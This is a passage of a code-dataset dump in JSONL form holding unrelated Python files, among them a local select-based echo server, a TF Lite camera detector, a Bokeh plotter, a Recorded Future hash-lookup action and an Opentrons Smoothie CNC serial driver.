f\"\\\n\t\t\t\t\t\\\n\t\t\t\t\t\t\t

    File Saved successfully

    \\\n\t\t\t\t\t\\\n\t\t\t\" + str(response)\n\t\n\nvamstar_app.run(port= 9514)\n","sub_path":"documentation.py","file_name":"documentation.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"330221933","text":"import win32api as wapi\r\nimport win32con\r\nimport time\r\n\r\nkeyList = [win32con.VK_LEFT, win32con.VK_RIGHT,win32con.VK_UP]\r\n\r\n \r\n\r\ndef key_check():\r\n keys = []\r\n for key in keyList:\r\n if wapi.GetAsyncKeyState(key):\r\n keys.append(key)\r\n return keys\r\n","sub_path":"getkeys.py","file_name":"getkeys.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"295860840","text":"#! /user/bin/evn python\n# -*- coding:utf8 -*-\n\n\"\"\"\ndeal with the imbalance of dataset\n\n@Author : Lau James\n@Contact : LauJames2017@whu.edu.cn\n@Project : Structure_Func_Recognition\n@File : oversample.py\n@Time : 2018/2/26 19:22\n@Software : PyCharm\n@Copyright: \"Copyright (c) 2018 Lau James. All Rights Reserved\"\n\"\"\"\n\nimport codecs\nimport numpy as np\nfrom collections import Counter\n\n\ndef load_rawdata(file_path):\n \"\"\"\n load the data\n :param file_path:\n :return: lines, labels\n \"\"\"\n lines = []\n labels = []\n with codecs.open(file_path, encoding='utf-8') as fp:\n while True:\n line = fp.readline()\n if not line:\n print(\"processing successfully!\")\n return [lines, np.array(labels)]\n tmp = line.strip().split('\\t')\n label = int(tmp[2])\n labels.append(label)\n lines.append(tmp)\n\n\ndef oversample(file_path):\n \"\"\"\n oversample the dataset\n :param file_path:\n :return: x_resampled\n \"\"\"\n x, y = load_rawdata(file_path)\n x = np.array(x)\n labels_num = np.unique(y)\n # print(labels_num)\n stats_class = {}\n maj_n = 0\n for i in labels_num:\n num_class = sum(y == i)\n stats_class[i] = num_class\n if num_class > maj_n:\n maj_n = num_class\n maj_class = i\n # print(stats_class.keys())\n # keep the majority class\n x_resampled = x[y == maj_class]\n\n # loop over the other classes over picking at random\n for key in stats_class.keys():\n # If this is the majority class, skip it\n if key == maj_class:\n continue\n # Define the number of sample to create\n num_samples = int(stats_class[maj_class]-stats_class[key])\n\n indx = np.random.randint(low=0, high=stats_class[key], size=num_samples)\n # print(indx)\n x_resampled = np.vstack([x_resampled, x[y == key], x[y == key][indx]])\n\n label_list = x_resampled[:, 2]\n # print(np.unique(label_list))\n c = Counter()\n for label in label_list:\n c[label] = c[label] + 1\n print('各类频次统计:' + str(c))\n return x_resampled\n\n\nif __name__ == \"__main__\":\n line_resampled = oversample('../cs.para.labelled')\n f = codecs.open(\"cs.para.labelled.resampled\", 'w+', 'utf-8')\n for row in line_resampled:\n for col in row:\n f.write(str(col)+'\\t')\n f.write('\\n')\n f.close()\n","sub_path":"data/oversample_array.py","file_name":"oversample_array.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"180384134","text":"import time\nimport select\nimport socket\n\n\nNUM_PORTS = 2\n\n\ndef now():\n return time.ctime(time.time())\n\n\ndef main():\n server_host = 'localhost'\n server_port = 8001\n mainsocks, readsocks, writesocks = [], [], []\n\n for i in range(NUM_PORTS):\n sock_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock_server.bind((server_host, server_port))\n sock_server.listen(5)\n\n print(str.format(\n '[~] Server running on {}:{} ...', server_host, server_port\n ))\n\n # добавляем сокет в список основных сокетов сокет сервера\n mainsocks.append(sock_server)\n readsocks.append(sock_server)\n server_port += 1\n\n while True:\n readables, writebles, exceptions = select.select(\n readsocks, writesocks, []\n )\n\n for sock in readables:\n\n if sock in mainsocks:\n # готов обработать клиентский запрос\n client_sock, address = sock.accept()\n\n print(str.format(\n '[~] client connection received: {}', address\n ))\n readsocks.append(client_sock)\n\n else:\n data = sock.recv(4096)\n print(str.format('\\t [~] received data: {}', data))\n\n if not data:\n sock.close()\n readsocks.remove(sock)\n\n else:\n reply = str.format(\n '[~] <{}> echo replay => {}', now(), data\n )\n sock.send(reply.encode())\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"spl/select_module/app_select1.py","file_name":"app_select1.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"304564151","text":"#import numpy\n#import os\n#import matplotlib\nimport sys\nfrom lxml import etree, objectify\n\n\ndef extractEventTimes(fileName):\n with open(fileName) as fd:\n xml=fd.read()\n\n root = objectify.fromstring(xml)\n\n events = root.events\n\n print('idx, class_id, class_name, start_second, end_second')\n for item in events.item:\n print(\"%d, %d, %s, %f, %f\" % (int(item.attrib['idx']), int(item.CLASS_ID), item.CLASS_NAME, float(item.STARTSECOND), float(item.ENDSECOND)) )\n\n\nextractEventTimes(sys.argv[1])","sub_path":"eyalc/xml_to_csv.py","file_name":"xml_to_csv.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"426995129","text":"# coding:utf-8\nfrom blog.models import Blog\n# 按月归档\n\n\ndef get_blog_by_month():\n post_date = Blog.objects.datetimes('publish_time', 'month')\n date_list = []\n for i in range(len(post_date)):\n date_list.append([])\n for i in range(len(post_date)):\n current_year = post_date[i].year\n current_month = post_date[i].month\n temp_article = Blog.objects.filter(publish_time__year=current_year).filter(publish_time__month=current_month)\n temp_num = len(temp_article)\n date_list[i].append(post_date[i])\n date_list[i].append(temp_article)\n date_list[i].append(temp_num)\n return date_list\n","sub_path":"newBlog/blog/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"599402123","text":"import komand\nfrom .schema import LookupHashInput, LookupHashOutput, Input\n\n\nclass LookupHash(komand.Action):\n def __init__(self):\n super(self.__class__, self).__init__(\n name=\"lookup_hash\",\n description=\"This action is used to retrieve information about a specified hash\",\n input=LookupHashInput(),\n output=LookupHashOutput(),\n )\n\n def run(self, params={}):\n try:\n hash_id = params.get(Input.HASH)\n comment = params.get(Input.COMMENT)\n\n fields = [\n \"analystNotes\",\n \"counts\",\n \"enterpriseLists\",\n \"entity\",\n \"intelCard\",\n \"metrics\",\n \"relatedEntities\",\n \"risk\",\n \"sightings\",\n \"threatLists\",\n \"timestamps\",\n \"hashAlgorithm\"\n ]\n\n if not comment:\n comment = None\n\n hash_report = self.connection.client.lookup_hash(hash_id, fields=fields, comment=comment)\n\n return komand.helper.clean(hash_report[\"data\"])\n\n except Exception as e:\n self.logger.error(\"Error: \" + str(e))\n","sub_path":"recorded_future/komand_recorded_future/actions/lookup_hash/action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"290138764","text":"from bokeh.io import show\nfrom bokeh.plotting import figure\n\n\nclass Plotter:\n def __init__(self, title, axis_labels, plot_bounds, plot_tickers, plot_size=(400, 400)):\n self.fig = figure(match_aspect=True, plot_width=plot_size[0], plot_height=plot_size[1],\n title=title, x_axis_label=axis_labels[0], y_axis_label=axis_labels[1],\n x_range=(plot_bounds[0], plot_bounds[1]),\n y_range=(plot_bounds[2], plot_bounds[3]))\n\n self.fig.title.text_font_size = \"14pt\"\n\n self.fig.xaxis.ticker = plot_tickers[0]\n self.fig.xaxis.major_label_text_font_size = \"7pt\"\n self.fig.xaxis.axis_label_text_font_size = '12pt'\n self.fig.xaxis.axis_label_text_font_style = 'normal'\n self.fig.xaxis.minor_tick_line_width = 0\n self.fig.xaxis.major_tick_in = 0\n self.fig.xaxis.axis_line_color = '#444444'\n self.fig.xaxis.major_tick_line_color = '#444444'\n self.fig.xaxis.formatter.use_scientific = False\n\n self.fig.yaxis.ticker = plot_tickers[1]\n self.fig.yaxis.major_label_text_font_size = \"7pt\"\n self.fig.yaxis.axis_label_text_font_size = '12pt'\n self.fig.yaxis.axis_label_text_font_style = 'normal'\n self.fig.yaxis.axis_label_standoff = 25\n self.fig.yaxis.minor_tick_line_width = 0\n self.fig.yaxis.major_tick_in = 0\n self.fig.yaxis.axis_line_color = '#444444'\n self.fig.yaxis.major_tick_line_color = '#444444'\n self.fig.yaxis.formatter.use_scientific = False\n\n self.fig.xgrid.visible = False\n self.fig.ygrid.visible = False\n\n # Example:\n # plt = Plotter()\n # plt.scatter([1, 2, 3, 4, 5], [6, 7, 2, 4, 5])\n # or, plt.scatter([1, 2, 3, 4, 5], [6, 7, 2, 4, 5], marker_size=[0.1, 0.2, 0.3, 0.4, 0.5])\n # plt.show()\n def scatter(self, x, y, **kwargs):\n if 'marker_size' in kwargs:\n marker_size = kwargs['marker_size']\n else:\n marker_size = [(max(max(x), max(y)) - min(min(x), min(y))) / 100.0] * len(x)\n self.fig.circle(x, y, radius=marker_size, line_color=\"#BF4784\", fill_color=\"#3AAB58\", fill_alpha=0.8)\n\n def line(self, x, y, color, label, width, alpha):\n self.fig.line(x, y, color=color, legend_label=label, line_width=width, line_alpha=alpha)\n\n def bar(self):\n pass\n\n def show(self):\n show(self.fig)\n","sub_path":"src/bullet_panda/data/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"310798172","text":"# Lint as: python3\n\"\"\"Using TF Lite to detect objects from camera.\"\"\"\nimport argparse\nimport time\nimport os\nfrom PIL import Image\nfrom PIL import ImageDraw\nimport cv2\nfrom Subfunctions import detect\nimport tflite_runtime.interpreter as tflite\nimport platform\n\nEDGETPU_SHARED_LIB = {\n 'Linux': 'libedgetpu.so.1',\n 'Darwin': 'libedgetpu.1.dylib',\n 'Windows': 'edgetpu.dll'\n }[platform.system()]\n\n\ndef load_labels(path, encoding='utf-8'):\n \"\"\"Loads labels from file (with or without index numbers).\n\n Args:\n path: path to label file.\n encoding: label file encoding.\n Returns:\n Dictionary mapping indices to labels.\n \"\"\"\n with open(path, 'r', encoding=encoding) as f:\n lines = f.readlines()\n if not lines:\n return {}\n\n if lines[0].split(' ', maxsplit=1)[0].isdigit():\n pairs = [line.split(' ', maxsplit=1) for line in lines]\n return {int(index): label.strip() for index, label in pairs}\n else:\n return {index: line.strip() for index, line in enumerate(lines)}\n\n\ndef make_interpreter(model_file):\n model_file, *device = model_file.split('@')\n return tflite.Interpreter(\n model_path=model_file,\n experimental_delegates=[tflite.load_delegate(\n EDGETPU_SHARED_LIB,{'device': device[0]} if device else {}\n )]\n )\n\n\ndef draw_objects(draw, objs, labels):\n \"\"\"Draws the bounding box and label for each object.\"\"\"\n for obj in objs:\n bbox = obj.bbox\n draw.rectangle([(bbox.xmin, bbox.ymin), (bbox.xmax, bbox.ymax)],outline='red')\n draw.text((bbox.xmin + 10, bbox.ymin + 10), '%s\\n%.2f' % (labels[obj.label_id], obj.score),fill='red')\n\ndef append_objs_to_img(cv2_im, objs, labels):\n height, width, channels = cv2_im.shape\n #print(\"height, width, channels: \",height, width, channels)\n for obj in objs:\n x0, y0, x1, y1 = obj.bounding_box.flatten().tolist()\n #print(\"Part1 x0, y0, x1, y1: \",x0, y0, x1, y1)\n #x0, y0, x1, y1 = int(x0*width), int(y0*height), int(x1*width), int(y1*height)\n #print(\"x0, y0, x1, y1: \",x0, y0, x1, y1)\n percent = int(100 * obj.score)\n label = '{}% {}'.format(percent, labels[obj.label_id])\n #print(\"label: \",label)\n cv2_im = cv2.rectangle(cv2_im, (x0, y0), (x1, y1), (0, 255, 0), 2)\n cv2_im = cv2.putText(cv2_im, label, (x0, y0+30),cv2.FONT_HERSHEY_SIMPLEX, 1.0, (255, 0, 0), 2)\n return cv2_im\n\ndef main():\n default_model_dir = './models'\n #default_model = 'mobilenet_ssd_v2_coco_quant_postprocess_edgetpu.tflite'\n default_model = 'mobilenet_ssd_v2_face_quant_postprocess_edgetpu.tflite'\n default_labels = 'coco_labels.txt'\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('-m', '--model', help='File path of .tflite file.', default=os.path.join(default_model_dir,default_model))\n parser.add_argument('-l', '--labels', help='File path of labels file.',default=os.path.join(default_model_dir,default_labels))\n parser.add_argument('-t', '--threshold', type=float, default=0.1, help='Score threshold for detected objects.')\n parser.add_argument('--camera_idx', type=int, help='Index of which video source to use. ', default = 1)\n args = parser.parse_args()\n\n labels = load_labels(args.labels) if args.labels else {}\n interpreter = make_interpreter(args.model)\n interpreter.allocate_tensors()\n #open camera\n cap = cv2.VideoCapture(args.camera_idx)\n while cap.isOpened():\n ret, frame = cap.read()\n if not ret:\n break\n cv2_im = frame\n cv2_im_rgb = cv2.cvtColor(cv2_im, cv2.COLOR_BGR2RGB)\n pil_im = Image.fromarray(cv2_im_rgb)\n #common.set_input(interpreter, pil_im)\n scale = detect.set_input(interpreter,pil_im.size,lambda size: pil_im.resize(size, Image.ANTIALIAS))\n interpreter.invoke()\n #print(scale)\n objs = detect.get_output(interpreter, args.threshold, scale)\n #print(objs)\n #draw_objects(ImageDraw.Draw(pil_im), objs, labels)\n\n cv2_im = append_objs_to_img(cv2_im, objs, labels)\n cv2.imshow('frame', cv2_im)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n cap.release()\n cv2.destroyAllWindows()\n\n # image = Image.open(args.input)\n # scale = detect.set_input(interpreter,\n # image.size,\n # lambda size: image.resize(size, Image.ANTIALIAS)\n # )\n #\n # interpreter.invoke()\n # objs = detect.get_output(interpreter, args.threshold, scale)\n # # for obj in objs:\n # # print(labels[obj.label_id])\n # # print(' id: ', obj.id)\n # # print(' score: ', obj.score)\n # # print(' bbox: ', obj.bbox)\n #\n # if args.output:\n # image = image.convert('RGB')\n # draw_objects(ImageDraw.Draw(image), objs, labels)\n # image.save(args.output)\n # image.show()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Use_trained_MobileNet_to_detect_objects/Subfunctions/not_used/random/detect_from_cam.py","file_name":"detect_from_cam.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"380827146","text":"\"\"\"\nФакториал можной пройти цилом for, а можно и рекурсией\n\"\"\"\n\ndef f_r(n_r:int): # рекурсия Факториал\n if n_r == 0:# крайний случай\n return 1\n return f_r(n_r - 1) * n_r\nprint(f_r(5))\n\n\"\"\"\nдинамеческое программирование не требует функции. создаем массив со значениями\nЭтот вариант Факториала лучше так как рекурсия хранит ещё и ссылки возварата поэтому по памяти лучше динамическое решение Факториала\n\"\"\"\nn_d = int(input(\"Ввидите положительное число для вычисления Факториала дин.прог.\"))\nf_d = [1] * (n_d + 1) # начиная с крайнего случая\nfor i in range(1, n_d + 1):\n f_d[i] = f_d[i - 1] * i\nprint(f_d)\n\n# Числа Фибоначчи\n\"\"\"\nрекурентно\n\"\"\"\n\ndef fib_r(n:int):\n assert n >= 0 #функция предназначена для положительных чисел и если будет отрицателньое число произодйдёт исключение\n if n <= 1:\n return n\n else:\n return fib_r(n - 1) + fib_r(n - 2)\nprint(fib_r(10))\n\"\"\"\nДинамически\n\"\"\"\ndef fib_d(n:int):\n assert n >= 0 #функция предназначена для положительных чисел и если будет отрицателньое число произодйдёт исключение\n fib = [None] * (n + 1) #создадим массив значений. append делает аллоцирование памяти и не всегда хорошо его использовать\n fib[:2] = [0, 1] # это лучше по памяти чем fib = [0, 1] + [0] * [n - 1] так как мы не создаем много списков\n for k in range(2, n + 1):\n fib[k] = fib[k - 1] + fib[k - 2]\n return fib[n]\nprint(fib_d(10))","sub_path":"МФТИ Лекции/Лекция № 17 Рекуцрсия и динамическое программирование.py","file_name":"Лекция № 17 Рекуцрсия и динамическое программирование.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"318522171","text":"import glob\nimport json\nimport math\nimport sys\nimport time\n\nimport serial\n\nfrom opentrons_sdk.drivers.virtual_smoothie import VirtualSmoothie\nfrom opentrons_sdk.util.log import get_logger\nfrom opentrons_sdk.util.vector import Vector\nfrom opentrons_sdk.helpers.helpers import break_down_travel\n\nfrom threading import Event\n\n\nJSON_ERROR = None\nif sys.version_info > (3, 4):\n JSON_ERROR = ValueError\nelse:\n JSON_ERROR = json.decoder.JSONDecodeError\n\nlog = get_logger(__name__)\n\n\nclass CNCDriver(object):\n\n \"\"\"\n This object outputs raw GCode commands to perform high-level tasks.\n \"\"\"\n\n MOVE = 'G0'\n DWELL = 'G4'\n HOME = 'G28'\n SET_POSITION = 'G92'\n GET_POSITION = 'M114'\n GET_ENDSTOPS = 'M119'\n SET_SPEED = 'G0'\n HALT = 'M112'\n CALM_DOWN = 'M999'\n ACCELERATION = 'M204'\n MOTORS_ON = 'M17'\n MOTORS_OFF = 'M18'\n\n DISENGAGE_FEEDBACK = 'M63'\n\n ABSOLUTE_POSITIONING = 'G90'\n RELATIVE_POSITIONING = 'G91'\n\n GET_OT_VERSION = 'config-get sd ot_version'\n GET_FIRMWARE_VERSION = 'version'\n GET_CONFIG_VERSION = 'config-get sd version'\n GET_STEPS_PER_MM = {\n 'x': 'config-get sd alpha_steps_per_mm',\n 'y': 'config-get sd beta_steps_per_mm'\n }\n\n SET_STEPS_PER_MM = {\n 'x': 'config-set sd alpha_steps_per_mm ',\n 'y': 'config-set sd beta_steps_per_mm '\n }\n\n MOSFET = [\n {True: 'M41', False: 'M40'},\n {True: 'M43', False: 'M42'},\n {True: 'M45', False: 'M44'},\n {True: 'M47', False: 'M46'},\n {True: 'M49', False: 'M48'},\n {True: 'M51', False: 'M50'}\n ]\n\n \"\"\"\n Serial port connection to talk to the device.\n \"\"\"\n connection = None\n\n serial_timeout = 0.1\n\n # TODO: move to config\n ot_version = 'hood'\n ot_one_dimensions = {\n 'hood': Vector(300, 120, 120),\n 'one_pro': Vector(300, 250, 120),\n 'one_standard': Vector(300, 250, 120)\n }\n\n def __init__(self):\n self.stopped = Event()\n self.can_move = Event()\n self.resume()\n self.head_speed = 3000 # smoothie's default speed in mm/minute\n self.current_commands = []\n\n self.axis_homed = {\n 'x': False, 'y': False, 'z': False, 'a': False, 'b': False}\n\n self.SMOOTHIE_SUCCESS = 'Succes'\n self.SMOOTHIE_ERROR = 'Received unexpected response from Smoothie'\n self.STOPPED = 'Received a STOP signal and exited from movements'\n\n def get_connected_port(self):\n \"\"\"\n Returns the port the driver is currently connected to\n :return:\n \"\"\"\n if not self.connection:\n return\n return self.connection.port\n\n def get_dimensions(self):\n return self.ot_one_dimensions[self.ot_version]\n\n def get_serial_ports_list(self):\n \"\"\" Lists serial port names\n\n :raises EnvironmentError:\n On unsupported or unknown platforms\n :returns:\n A list of the serial ports available on the system\n \"\"\"\n if sys.platform.startswith('win'):\n ports = ['COM%s' % (i + 1) for i in range(256)]\n elif (sys.platform.startswith('linux') or\n sys.platform.startswith('cygwin')):\n # this excludes your current terminal \"/dev/tty\"\n ports = glob.glob('/dev/tty[A-Za-z]*')\n elif sys.platform.startswith('darwin'):\n ports = glob.glob('/dev/tty.*')\n else:\n raise EnvironmentError('Unsupported platform')\n\n result = []\n for port in ports:\n try:\n if 'usbmodem' in port or 'COM' in port:\n s = serial.Serial(port)\n s.close()\n result.append(port)\n except Exception as e:\n log.debug(\n 'Exception in testing port {}'.format(port))\n log.debug(e)\n return result\n\n def disconnect(self):\n if self.is_connected():\n self.connection.close()\n self.connection = None\n\n def connect(self, device):\n self.connection = device\n self.reset_port()\n log.debug(\"Connected to {}\".format(device))\n return self.calm_down()\n\n def is_connected(self):\n return self.connection and self.connection.isOpen()\n\n def reset_port(self):\n for axis in 'xyzab':\n self.axis_homed[axis.lower()] = False\n self.connection.close()\n self.connection.open()\n self.flush_port()\n\n self.turn_off_feedback()\n\n self.get_ot_version()\n\n def pause(self):\n self.can_move.clear()\n\n def resume(self):\n self.can_move.set()\n self.stopped.clear()\n\n def stop(self):\n if self.current_commands:\n self.stopped.set()\n self.can_move.set()\n else:\n self.resume()\n\n def send_command(self, command, **kwargs):\n \"\"\"\n Sends a GCode command. Keyword arguments will be automatically\n converted to GCode syntax.\n\n Returns a string with the Smoothie board's response\n Empty string if no response from Smoothie\n\n >>> send_command(self.MOVE, x=100 y=100)\n G0 X100 Y100\n \"\"\"\n\n args = ' '.join(['{}{}'.format(k, v) for k, v in kwargs.items()])\n command = '{} {}\\r\\n'.format(command, args)\n response = self.write_to_serial(command)\n return response\n\n def write_to_serial(self, data, max_tries=10, try_interval=0.2):\n log.debug(\"Write: {}\".format(str(data).encode()))\n if self.connection is None:\n log.warn(\"No connection found.\")\n return\n if self.is_connected():\n self.connection.write(str(data).encode())\n return self.wait_for_response()\n elif max_tries > 0:\n self.reset_port()\n return self.write_to_serial(\n data, max_tries=max_tries - 1, try_interval=try_interval\n )\n else:\n log.error(\"Cannot connect to serial port.\")\n return b''\n\n def wait_for_response(self, timeout=20.0):\n count = 0\n max_retries = int(timeout / self.serial_timeout)\n while count < max_retries:\n count = count + 1\n out = self.readline_from_serial()\n if out:\n log.debug(\n \"Waited {} lines for response {}.\".format(count, out)\n )\n return out\n else:\n if count == 1 or count % 10 == 0:\n # Don't log all the time; gets spammy.\n log.debug(\n \"Waiting {} lines for response.\".format(count)\n )\n raise RuntimeWarning('no response after {} seconds'.format(timeout))\n\n def flush_port(self):\n # if we are running a virtual smoothie\n # we don't need a timeout for flush\n if isinstance(self.connection, VirtualSmoothie):\n self.readline_from_serial()\n else:\n time.sleep(self.serial_timeout)\n while self.readline_from_serial():\n time.sleep(self.serial_timeout)\n\n def readline_from_serial(self):\n msg = b''\n if self.is_connected():\n # serial.readline() returns an empty byte string if it times out\n msg = self.connection.readline().strip()\n if msg:\n log.debug(\"Read: {}\".format(msg))\n\n # detect if it hit a home switch\n if b'!!' in msg or b'limit' in msg:\n # TODO (andy): allow this to bubble up so UI is notified\n log.debug('home switch hit')\n self.flush_port()\n self.calm_down()\n raise RuntimeWarning('limit switch hit')\n\n return msg\n\n def set_coordinate_system(self, mode):\n if mode == 'absolute':\n self.send_command(self.ABSOLUTE_POSITIONING)\n elif mode == 'relative':\n self.send_command(self.RELATIVE_POSITIONING)\n else:\n raise ValueError('Invalid coordinate mode: ' + mode)\n\n def move_plunger(self, mode='absolute', **kwargs):\n\n self.set_coordinate_system(mode)\n\n args = {axis.upper(): kwargs.get(axis)\n for axis in 'ab'\n if axis in kwargs}\n\n return self.consume_move_commands([args], 0.1)\n\n def move_head(self, mode='absolute', **kwargs):\n\n self.set_coordinate_system(mode)\n current = self.get_head_position()['target']\n\n log.debug('Current Head Position: {}'.format(current))\n target_point = {\n axis: kwargs.get(\n axis,\n 0 if mode == 'relative' else current[axis]\n )\n for axis in 'xyz'\n }\n log.debug('Destination: {}'.format(target_point))\n\n time_interval = 0.5\n # convert mm/min -> mm/sec,\n # multiply by time interval to get increment in mm\n increment = self.head_speed / 60 * time_interval\n\n vector_list = break_down_travel(\n current, Vector(target_point), mode=mode, increment=increment)\n\n # turn the vector list into axis args\n args_list = []\n for vector in vector_list:\n flipped_vector = self.flip_coordinates(vector, mode)\n args_list.append(\n {axis.upper(): flipped_vector[axis]\n for axis in 'xyz' if axis in kwargs})\n\n return self.consume_move_commands(args_list, increment)\n\n def consume_move_commands(self, args_list, step):\n tolerance = step * 0.5\n self.current_commands = list(args_list)\n while self.can_move.wait():\n if self.stopped.is_set():\n self.resume()\n return (False, self.STOPPED)\n if self.current_commands:\n args = self.current_commands.pop(0)\n else:\n self.wait_for_arrival()\n break\n\n self.wait_for_arrival(tolerance)\n\n log.debug(\"Moving head: {}\".format(args))\n res = self.send_command(self.MOVE, **args)\n if res != b'ok':\n return (False, self.SMOOTHIE_ERROR)\n return (True, self.SMOOTHIE_SUCCESS)\n\n def flip_coordinates(self, coordinates, mode='absolute'):\n coordinates = Vector(coordinates) * Vector(1, -1, -1)\n if mode == 'absolute':\n offset = Vector(0, 1, 1) * self.ot_one_dimensions[self.ot_version]\n coordinates += offset\n return coordinates\n\n def wait_for_arrival(self, tolerance=0.1):\n arrived = False\n coords = self.get_position()\n while not arrived:\n coords = self.get_position()\n diff = {}\n for axis in coords.get('target', {}):\n diff[axis] = coords['current'][axis] - coords['target'][axis]\n\n dist = pow(diff['x'], 2) + pow(diff['y'], 2) + pow(diff['z'], 2)\n dist_head = math.sqrt(dist)\n\n \"\"\"\n smoothie not guaranteed to be EXACTLY where it's target is\n but seems to be about +-0.05 mm from the target coordinate\n the robot's physical resolution is found with:\n 1mm / config_steps_per_mm\n \"\"\"\n if dist_head < tolerance:\n if abs(diff['a']) < tolerance and abs(diff['b']) < tolerance:\n arrived = True\n else:\n arrived = False\n return arrived\n\n def home(self, *axis):\n axis_to_home = ''\n for a in axis:\n ax = ''.join(sorted(a)).upper()\n if ax in 'ABXYZ':\n axis_to_home += ax\n if not axis_to_home:\n axis_to_home = 'ABXYZ'\n res = self.send_command(self.HOME + axis_to_home)\n if res == b'ok':\n # the axis aren't necessarily set to 0.0\n # values after homing, so force it\n pos_args = {}\n for l in axis_to_home:\n self.axis_homed[l.lower()] = True\n pos_args[l] = 0\n return self.set_position(**pos_args)\n else:\n return False\n\n def wait(self, sec):\n ms = int((sec % 1.0) * 1000)\n s = int(sec)\n res = self.send_command(self.DWELL, S=s, P=ms)\n return res == b'ok'\n\n def calm_down(self):\n res = self.send_command(self.CALM_DOWN)\n return res == b'ok'\n\n def set_position(self, **kwargs):\n uppercase_args = {}\n for key in kwargs:\n uppercase_args[key.upper()] = kwargs[key]\n res = self.send_command(self.SET_POSITION, **uppercase_args)\n return res == b'ok'\n\n def get_head_position(self):\n coords = self.get_position()\n coords['current'] = self.flip_coordinates(Vector(coords['current']))\n coords['target'] = self.flip_coordinates(Vector(coords['target']))\n\n return coords\n\n def get_plunger_positions(self):\n coords = self.get_position()\n plunger_coords = {}\n for state in ['current', 'target']:\n plunger_coords[state] = {\n axis: coords[state][axis]\n for axis in 'ab'\n }\n\n return plunger_coords\n\n def get_position(self):\n res = self.send_command(self.GET_POSITION)\n # remove the \"ok \" from beginning of response\n res = res.decode('utf-8')[3:]\n coords = {}\n try:\n response_dict = json.loads(res).get(self.GET_POSITION)\n coords = {'target': {}, 'current': {}}\n for letter in 'xyzab':\n # the lowercase axis are the \"real-time\" values\n coords['current'][letter] = response_dict.get(letter, 0)\n # the uppercase axis are the \"target\" values\n coords['target'][letter] = response_dict.get(letter.upper(), 0)\n\n except JSON_ERROR:\n log.debug(\"Error parsing JSON string:\")\n log.debug(res)\n\n return coords\n\n def turn_off_feedback(self):\n res = self.send_command(self.DISENGAGE_FEEDBACK)\n if res == b'feedback disengaged':\n res = self.wait_for_response()\n return res == b'ok'\n else:\n return False\n\n def calibrate_steps_per_mm(self, axis, expected_travel, actual_travel):\n current_steps_per_mm = self.get_steps_per_mm(axis)\n current_steps_per_mm *= (expected_travel / actual_travel)\n current_steps_per_mm = round(current_steps_per_mm, 2)\n return self.set_steps_per_mm(axis, current_steps_per_mm)\n\n def set_head_speed(self, rate):\n self.head_speed = rate\n kwargs = {\"F\": rate}\n res = self.send_command(self.SET_SPEED, **kwargs)\n return res == b'ok'\n\n def set_plunger_speed(self, rate, axis):\n if axis.lower() not in 'ab':\n raise ValueError('Axis {} not supported'.format(axis))\n kwargs = {axis.lower(): rate}\n res = self.send_command(self.SET_SPEED, **kwargs)\n return res == b'ok'\n\n def get_ot_version(self):\n res = self.send_command(self.GET_OT_VERSION)\n res = res.decode().split(' ')[-1]\n if res not in self.ot_one_dimensions:\n raise ValueError('{} is not an ot_version'.format(res))\n self.ot_version = res\n return self.ot_version\n\n def get_firmware_version(self):\n res = self.send_command(self.GET_FIRMWARE_VERSION)\n res = res.decode().split(' ')[-1]\n # the version is returned as a JSON dict, the version is a string\n # but not wrapped in double-quotes as JSON requires...\n # aka --> {\"version\":v1.0.5}\n self.firmware_version = res.split(':')[-1][:-1]\n return self.firmware_version\n\n def get_config_version(self):\n res = self.send_command(self.GET_CONFIG_VERSION)\n res = res.decode().split(' ')[-1]\n self.config_version = res\n return self.config_version\n\n def get_steps_per_mm(self, axis):\n if axis not in self.GET_STEPS_PER_MM:\n raise ValueError('Axis {} not supported'.format(axis))\n res = self.send_command(self.GET_STEPS_PER_MM[axis])\n return float(res.decode().split(' ')[-1])\n\n def set_steps_per_mm(self, axis, value):\n if axis not in self.SET_STEPS_PER_MM:\n raise ValueError('Axis {} not supported'.format(axis))\n command = self.SET_STEPS_PER_MM[axis]\n command += str(value)\n res = self.send_command(command)\n return res.decode().split(' ')[-1] == str(value)\n\n def get_endstop_switches(self):\n first_line = self.send_command(self.GET_ENDSTOPS)\n second_line = self.wait_for_response()\n if second_line == b'ok':\n res = json.loads(first_line.decode())\n res = res.get(self.GET_ENDSTOPS)\n obj = {}\n for axis in 'xyzab':\n obj[axis] = bool(res.get('min_' + axis))\n return obj\n else:\n return False\n\n def set_mosfet(self, mosfet_index, state):\n try:\n command = self.MOSFET[mosfet_index][bool(state)]\n res = self.send_command(command)\n return res == b'ok'\n except IndexError:\n raise IndexError(\n \"Smoothie mosfet not at index {}\".format(mosfet_index))\n\n def power_on(self):\n res = self.send_command(self.MOTORS_ON)\n return res == b'ok'\n\n def power_off(self):\n res = self.send_command(self.MOTORS_OFF)\n return res == 